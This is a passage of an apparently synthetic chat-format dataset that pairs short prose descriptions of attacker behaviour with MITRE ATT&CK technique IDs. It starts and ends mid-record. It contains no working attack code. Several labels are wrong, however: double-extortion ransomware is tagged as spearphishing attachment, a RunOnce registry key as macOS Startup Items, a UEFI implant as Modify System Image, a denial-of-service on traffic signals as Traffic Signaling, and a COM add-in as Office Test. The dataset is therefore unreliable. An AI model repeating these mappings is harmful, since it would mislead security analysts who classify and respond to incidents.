            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts encryption keys stored in the application's configuration files."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injected a malicious iframe into a legitimate e‑commerce site, causing browsers to download a cryptominer payload silently upon page render."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code performed a dump of the Safari saved passwords database on macOS to collect web service credentials."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses UDP hole punching to bypass the network address translation device and communicate with a compromised internal server."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group gathers email addresses by crawling public comment sections on popular news sites and forums."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An installer silently adds a root certificate authority to the OS store to enable future command and control over TLS."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a Discord server under a popular gaming clan name, inviting employees to join and deliver malicious bot commands."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages token duplication to clone a privileged token and launch a reverse shell with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries place malicious files in the /tmp/.cache hidden folder on Linux systems to hide their presence from routine scans."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs a credential guessing campaign targeting Azure AD accounts with a set of ten common passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script replaces the PGP configuration file to generate keys of only 1024 bits, making brute-force attacks feasible."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performs Portable Executable injection by opening a target process with OpenProcess, allocating memory with VirtualAllocEx, and copying the malicious binary before creating a remote thread."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphisher initiates a voice conversation, cites a recent phishing email, and asks the victim to repeat the verification code received via email, capturing the code for later use."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used the mshta binary as a proxy to execute a malicious payload encoded in a data URI."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stages encrypted exfiltration chunks in %USERPROFILE%\\AppData\\Local\\Temp\\exfil_stage for batch upload."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor writes API keys into the REG_SZ values of HKLM\\SYSTEM\\CurrentControlSet\\Control\\ComputerName."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attack involves compromising a CI/CD pipeline, allowing attackers to inject malicious code that escalates their privileges on production systems."
            },
            {
                "role": "assistant",
                "content": "T1546 - Event Triggered Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a misconfigured service to call the AD CreateAccount function, spawning a domain account with service permissions."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromises a popular news site and places an infected iframe that triggers a drive‑by download of a Trojan for any visitor."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a browser extension that records all typed characters and click events on visited web pages."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware disguised its command-and-control binary as \"chrome.exe\" to evade detection by endpoint defenses."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses \"kubectl get services -A\" to discover service endpoints exposing container workloads."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware drops a malicious executable onto any connected external drive, then updates the drive's autorun configuration to trigger the payload on the next system."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses cloud provider SDKs to enumerate Lambda functions, API gateways, and associated IAM roles for privilege escalation planning."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs a custom tool that scans and enumerates log files across multiple hosts for indicators of compromise."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet of compromised traffic cameras is used to launch a denial-of-service attack on the traffic signal control network, preventing legitimate signal updates."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gains write access to a trusted MSI installer due to lax permissions and inserts malicious code, which is executed during the normal installation workflow."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a local staging area by compressing files into a zip file stored on the infected host's disk."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service was used to download and run a Remote Access Trojan (RAT) providing full system access."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses PowerShell to stop the generation of event logs for suspicious PowerShell commands, effectively blocking monitoring indicators."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the cloud provider's REST API, the attacker set the firewall's default action to 'allow', bypassing all blocking rules."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious group establishes Reddit accounts using bot‑generated usernames to post malicious links."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed cmd.exe to modify firewall rules using \"netsh advfirewall\" commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated hack injects malicious code into the system's ACPI tables via a firmware modification, enabling stealthy privilege escalation at power‑on."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group alters the UEFI flash image to embed persistent malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker renamed a malicious executable to \"report.pdf.exe\" so that Windows would display it as a PDF file."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What is the MITRE ATT&CK ID and Name for a technique where an attacker uses data staging to prepare data for exfiltration on a compromised system?"
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accesses the OpenShift API without authentication, pulling secret objects that hold service account tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor executed a series of sudo commands in a script to elevate privileges on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors replace the default Windows print processor with a malicious version that executes their code whenever the print service starts."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script sets the 'Start' value of the 'EventLog' service to 4 (disabled) in the system registry."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scans the system's GUI to list open windows and their titles, identifying the target software."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a web server and place a malicious Python script in the web root; they then use the legitimate cron daemon to execute the script via /usr/bin/python, serving as a proxy for the actual exploit."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged a compromised Azure Logic App to call a serverless function that performs DNS tunneling for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script extracts the 'DisplayName' and 'DriverVersion' fields from the Win32_SystemDriver class."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a Python command that disables Windows Defender real-time protection."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries public DNS records and crawls the target’s own domain and related subdomains to gather information about internal services and employee email addresses."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scripts a recursive scan of /etc and user home directories to locate credential files like db.conf and application.properties."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor copies sensitive documents to a USB thumb drive and physically removes it from the target network."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through phishing, the attacker tricks the user into revealing their authenticator app code, allowing MFA bypass."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the encrypted password store of 1Password to steal login data."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a privilege escalation flaw in the operating system to disable security controls and avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor takes over a VNC session that is already established to the target system."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet is used to run distributed mining tasks on infected IoT devices, causing overheating and service degradation."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set conducts Kerberoasting by targeting service principal names, pulling TGS tickets, and applying rainbow table attacks to retrieve service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware attack involves not just encrypting files for ransom but also stealing sensitive data which is then used to extort the victim further."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the cloud provider's API to open a direct remote desktop session into a victim's virtual machine."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage macOS XPC APIs to set up inter‑process communication channels, enabling the injection of code into a system process."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor drops a malicious Excel workbook that registers a COM add‑in, causing the payload to execute each time the user opens Office applications."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection chain includes a step that injects a valid signature into a malicious binary, bypassing Gatekeeper."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat software modifies the HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce key to execute its code on next reboot."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers alter the JavaScript files of a web app to display a defacement pop‑up on every visit."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code execution in sandbox environments to test data exfiltration techniques"
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queries the TPM's firmware to retrieve its version and status information."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber-espionage campaign implants a backdoor in traffic management SCADA systems to control signal phases remotely."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised the source code repository of a popular open‑source project, adding code that exfiltrates data when compiled into victim applications."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a PowerShell script that called the Azure PowerShell module's Remove-AzVM cmdlet, deleting a specified virtual machine in the Azure subscription."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a custom \"Debugger\" entry in the HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\calc.exe key, the threat actor hijacks calculator launches to run their malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool automatically updates the authorized_keys file of all users with a public key linked to a command-and-control server for persistent backdoor access."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs Qualys Cloud Agent scans on cloud instances to identify misconfigurations and vulnerable packages."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool targeted the local Thunderbird profile's Mail directory, zipping all message files."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor modifies /etc/cron.d to add a job that calls a downloaded backdoor binary daily."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leveraged PowerShell to stop the security agent service and prevent updates."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the default admin password on a network switch to maintain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a compromised SAML token to establish a federated account in a cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages DLL hijacking to replace functions in a live process, altering its data flow on the fly."
            },
            {
                "role": "assistant",
